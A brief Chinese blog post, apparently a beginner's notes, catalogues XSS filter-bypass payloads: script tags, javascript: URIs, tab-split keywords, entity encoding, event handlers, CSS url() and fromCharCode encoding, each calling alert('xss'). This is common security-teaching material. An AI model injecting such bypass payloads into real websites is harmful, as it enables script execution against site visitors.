XSS构造解析

1、绕过过滤

  a、利用<>标记注入HTML/JavaScript

  <script>alert('xss');</script>:所以过滤的就是<>或<script>

  b、利用html标签属性执行xss:这是因为html标记的属性都支持javascript:[code];

  <table background="javascript:alert(/xss/)"></table>   我测试没通过,需要低版本的浏览器来进行测试;

  <img src="javascript:alert('xss');">

  当然不是所有的标记属性都可以产生xss;只有引用文件的属性才能触发跨站脚本;如:

  href=  lowsrc=  bgsound=  background=  value=  action=  dynsrc=

  

  c、空格回车tab

  <img src="java    script:alert('xss');">   注:中间是tab做成的;

  <script>
  var a
  ='hello'
  alert(a);
  </script>   注:这里不用ie低版本了;更多的可以进行变形

  d、对标签属性值转码

  <img src="javascrip&#116&#58;alert('xss');">   HTML Characters编码;

  e、产生自己的事件

  <input type="button" value="click" onclick="alert('xss')" />

  <img src="#" onerror=alert('xss')>

  其余的事件:

  onResume  onReverse  onRowDelete等等

  f、利用css跨站

  <div style="background-image:url(javascript:alert('xss'))">

  g、扰乱过滤规则

  大小写转换、大小写混杂、不用双引号、不使用引号

  

2、字符编码

  String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41)==alert('xss')

  10进制、16进制、还有ascii等等;

我还是新手!

原文地址:https://www.cnblogs.com/Lzero/p/3984626.html